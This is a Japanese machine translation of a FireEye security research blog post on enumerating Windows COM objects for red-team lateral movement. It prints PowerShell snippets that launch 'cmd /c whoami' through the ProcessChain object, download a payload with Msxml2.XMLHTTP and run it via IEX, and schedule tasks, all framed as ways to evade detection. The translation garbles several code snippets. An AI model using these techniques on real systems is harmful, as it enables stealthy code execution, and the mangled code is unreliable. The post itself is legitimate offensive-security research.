COM オブジェクトは最近、侵入テスター、レッド チーム、および悪意のあるアクターによってラテラル ムーブメントを実行するために使用されています。 COM オブジェクトは、2017 年にブログ投稿を公開した Matt Nelson (enigma0x3) を含む他の数人の研究者によって過去に研究されました。これらの COM オブジェクトの一部は、Empire プロジェクトにも追加されました。 Red Team の実践を改善するために、FireEye は Windows 7 および 10 オペレーティング システムで利用可能な COM オブジェクトの調査を行いました。タスクのスケジューリング、ファイルレスのダウンロードと実行、およびコマンドの実行を可能にするいくつかの興味深い COM オブジェクトが発見されました。それ自体はセキュリティ上の脆弱性ではありませんが、これらのオブジェクトを使用すると、プロセスの動作とヒューリスティック シグネチャに基づいて検出を無効にすることができます。
COM オブジェクトとは
Microsoftによると、「Microsoft Component Object Model (COM) は、対話可能なバイナリ ソフトウェア コンポーネントを作成するための、プラットフォームに依存しない、分散型のオブジェクト指向システムです。 COM は、Microsoft の OLE (複合ドキュメント)、ActiveX (インターネット対応コンポーネント) などの基盤テクノロジです。」
COM は、1990 年代に、言語に依存しないバイナリ相互運用性標準として作成されました。これにより、個別のコード モジュールが相互に対話できるようになります。これは、単一プロセス内または複数プロセス内で発生する可能性があり、分散 COM (DCOM) によってシリアル化が追加され、ネットワーク全体でリモート プロシージャ コールが可能になります。
「COM オブジェクト」という用語は、IUnknown から派生した 1 つまたは複数のインターフェイスを実装する実行可能コード セクションを指します。 IUnknown は、オブジェクトの有効期間の参照カウントと追加のインターフェイスの検出をサポートする 3 つのメソッドを持つインターフェイスです。すべての COM オブジェクトは、一意のバイナリ識別子によって識別されます。これらの 128 ビット (16 バイト) のグローバルに一意の識別子は、一般的に GUID と呼ばれます。 GUID を使用して COM オブジェクトを識別する場合は CLSID (クラス識別子) であり、インターフェイスを識別する場合は IID (インターフェイス識別子) です。一部の CLSID には、ProgID と呼ばれる人間が判読できる同等のテキストもあります。
COM はバイナリ相互運用性の標準であるため、COM オブジェクトはさまざまな言語から実装および使用できるように設計されています。それらは通常、呼び出しプロセスのアドレス空間でインスタンス化されますが、呼び出しをプロキシするプロセス間通信を使用してプロセス外で実行したり、マシンからマシンへリモートで実行したりすることもサポートされています。
Windows レジストリには、システムが CLSID を基になるコード実装 (DLL または EXE 内) にマップし、オブジェクトを作成できるようにする一連のキーが含まれています。
方法論
レジストリ キーHKEY_CLASSES_ROOTCLSIDは、CLSID や ProgID など、COM オブジェクトを列挙するために必要なすべての情報を公開します。 CLSID は、COM クラス オブジェクトに関連付けられたグローバルに一意の識別子です。 ProgID は、基になる CLSID を表すプログラマー向けの文字列です。
CLSID のリストは、図 1 の次の Powershell コマンドを使用して取得できます。
New-PSDrive -PSProvider レジストリ -ルート HKEY_CLASSES_ROOT -名前 HKCR |
図 1: HKCR での CLSID の列挙
出力は図 2 のようになります。
{0000002F-0000-0000-C000-000000000046} {00000300-0000-0000-C000-000000000046} {00000301-A8F2-4877-BA0A-FD2B6645FB94} {00000303-0000-0000-C000-000000000046} {00000304-0000-0000-C000-000000000046} {00000305-0000-0000-C000-000000000046} {00000306-0000-0000-C000-000000000046} {00000308-0000-0000-C000-000000000046} {00000309-0000-0000-C000-000000000046} {0000030B-0000-0000-C000-000000000046} {00000315-0000-0000-C000-000000000046} {00000316-0000-0000-C000-000000000046} |
図 2:HKCR の CLSID の要約リスト
CLSID のリストを使用して、各オブジェクトを順番にインスタンス化し、各 COM オブジェクトによって公開されるメソッドとプロパティを列挙できます。 PowerShell は、オブジェクトのメソッドとプロパティを簡単に一覧表示するために使用できるGet-Memberコマンドレットを公開します。図 3 は、この情報を列挙する PowerShell スクリプトを示しています。この調査では、管理者権限がないという最悪のシナリオで利用可能な COM オブジェクトに関する洞察を提供するために、可能な場合は標準ユーザー権限が使用されました。
$位置 = 1 $Filename = “win10-clsid-members.txt” $inputFilename = “clsids.txt” ForEach(Get-Content $inputFilename の $CLSID) { Write-Output “$($Position) – $($CLSID)” 書き込み出力 “————————” | Out-File $Filename -Append 書き込み出力 $($CLSID) | Out-File $Filename -Append $handle = [アクティベーター]::CreateInstance([タイプ]::GetTypeFromCLSID($CLSID)) $ハンドル | Get メンバー | Out-File $Filename -Append $位置 += 1 } |
図 3: 利用可能なメソッドとプロパティを列挙するために使用される PowerShell スクリプトレット
このスクリプトを実行すると、任意のアプリケーションの起動、システムのフリーズ、スクリプトのハングなど、興味深い副作用が発生することが予想されます。これらの問題のほとんどは、起動されたアプリケーションを閉じるか、生成されたプロセスを強制終了することで解決できます。
すべての CLSID と、CLSID が公開するメソッドとプロパティのリストを用意して、興味深い COM オブジェクトの探索を開始できます。ほとんどの COM サーバー (COM オブジェクトを実装するコード) は、パスがInprocServer32などのレジストリ キーに格納されている DLL に実装されています。これは、文書化されていない COM オブジェクトを理解するためにリバース エンジニアリングが必要になる場合があるため便利です。
Windows 7 では、合計 8,282 個の COM オブジェクトが列挙されました。 Windows 10 には、Windows 7 に存在するものに加えて、3,250 の新しい COM オブジェクトが含まれていました。 Microsoft 以外の COM オブジェクトは、ターゲット マシンに存在することが確実に期待できないため、一般的に省略されました。 Windows SDK から選択された Microsoft COM オブジェクトは、開発者のマシンを対象とする目的で調査に含まれていました。
メンバーが得られたら、キーワードベースの検索アプローチを使用して、結果をすばやく取得しました。この調査では、execute、exec、spawn、launch、および run というキーワードが使用されました。
その一例が、Windows 7 の{F1CA3CE9-57E0-4862-B35F-C55328F05F1C} COM オブジェクト ( WatWeb.WatWebObject ) です。この COM オブジェクトは、図 4 に示すように、 LaunchSystemApplicationという名前のメソッドを公開しました。
図 4: 興味深い LaunchSystemApplication メソッドを含む WatWeb.WatWebObject メソッド
このオブジェクトのInprocServer32エントリはC:windowssystem32watwatweb.dllに設定されました。これは、Microsoft の Windows Genuine Advantage プロダクト キー検証システムの一部です。 LaunchSystemApplicationメソッドは 3 つのパラメーターを想定していましたが、この COM オブジェクトは十分に文書化されておらず、リバース エンジニアリングが必要でした。つまり、アセンブリ コードを掘り下げる必要がありました。
C:windowssystem32watwatweb.dllがお気に入りのツール (この場合は IDA Pro) に読み込まれたら、このメソッドが定義されている場所を見つけます。幸いなことに、この場合、Microsoft はデバッグ シンボルを公開して、リバース エンジニアリングをより効率的にしました。逆アセンブルを見ると、 LaunchSystemApplicationはLaunchSystemApplicationInternalを呼び出します。疑うかもしれませんが、 CreateProcessを呼び出してアプリケーションを起動します。これは、図 5 の Hex-Rays デコンパイラの擬似コードに示されています。
図 5: LaunchSystemApplicationInternal が CreateProcessW を呼び出していることを確認する Hex-Rays 疑似コード
しかし、この COM オブジェクトは任意のプロセスの作成を許可するのでしょうか? CreateProcessに渡される引数はユーザー制御であり、関数に渡される引数から派生します。ただし、 CreateProcess呼び出しの前にCWgpOobWebObjectBaseT::IsApprovedApplicationへの呼び出しがあることに注意してください。このメソッドの Hex-Rays 疑似コードを図 6 に示します。
図 6: IsApprovedApplication メソッドの Hex-Rays 疑似コード
ユーザー制御の文字列は、特定のパターンに対して検証されます。この場合、文字列はslui.exeと一致する必要があります。さらに、ユーザーが制御する文字列がシステム パスに追加されます。つまり、たとえば、実際のslui.exeを置き換えてチェックを回避する必要があります。残念ながら、Microsoft によって実行された検証では、汎用プロセス ランチャーとしてのこのメソッドの有用性が制限されています。
他のケースでは、コードの実行は単純でした。たとえば、 C:Program Files (x86)Windows KitsApp Certification Kitprchauto.dllに実装されている CLSID {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}を持つProcessChainクラス。 prchauto.dll には、 Oleview.exe を使用して表示できる COM タイプ ライブラリを含む TYPELIBリソースが含まれているため、この COM クラスは逆アセンブリ リストを見なくても簡単に分析できます。図 7 は、 CommandLineプロパティとStartメソッドを公開するProcessChainLibのタイプ ライブラリを示しています。 Startはブール値への参照を受け入れます。
図 7: Oleview.exe によってインターフェイス定義言語に表示された ProcessChainLib のタイプ ライブラリ
これに基づいて、図 8 に示すようにコマンドを開始できます。
$handle = [アクティベーター]::CreateInstance([タイプ]::GetTypeFromCLSID(“E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E”)) $handle.CommandLine = “cmd /c whoami” $handle.Start([ref]$True) |
図 8: ProcessChainLib COM サーバーを使用してプロセスを開始する
この方法で COM オブジェクトを列挙して調べると、他にも興味深い発見がありました。
ファイルレスのダウンロードと実行
たとえば、COM オブジェクト{F5078F35-C551-11D3-89B9-0000F81FE221} ( Msxml2.XMLHTTP.3.0 ) は、任意のコードをダウンロードして実行するために使用できる XML HTTP 3.0 機能を公開します。一般的に使用されるSystem.Net.WebClientを探すルール。 XML HTTP 3.0 オブジェクトは通常、AJAX 要求を実行するために使用されます。この場合、フェッチされたデータは、 Invoke-Expressionコマンドレット (IEX) を使用して直接実行できます。
図 9 の例では、コードをローカルで実行しています。
$o = [アクティベーター]::CreateInstance([タイプ]::GetTypeFromCLSID(“F5078F35-C551-11D3-89B9-0000F81FE221”)); $o.Open(“GET”, “http://127.0.0.1/payload”, $False); $o.Send(); IEX $o.responseText; |
図 9: System.Net.WebClient を使用しないファイルレス ダウンロード
タスクスケジューリング
もう 1 つの例は{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}で、Windows タスク スケジューラ サービスを操作するためのSchedule.Serviceクラスを実装しています。この COM オブジェクトを使用すると、特権ユーザーは、 schtasks.exeバイナリまたは at コマンドを使用せずに、ホスト (リモート ホストを含む) でタスクをスケジュールできます。
$TaskName = [Guid]::NewGuid().ToString() 関数変換-日付 { パラメータ( ) 処理する { |
図 10: タスクのスケジュール
結論
COM オブジェクトは非常に強力で用途が広く、Windows と統合されているため、ほぼ常に使用できます。 COM オブジェクトを使用して、コマンド ライン引数、PowerShell ログ、ヒューリスティック検出など、さまざまな検出パターンを無効にすることができます。このブログ シリーズのパート 2 も引き続きご期待ください。
参照: https://www.mandiant.com/resources/blog/hunting-com-objects
Comments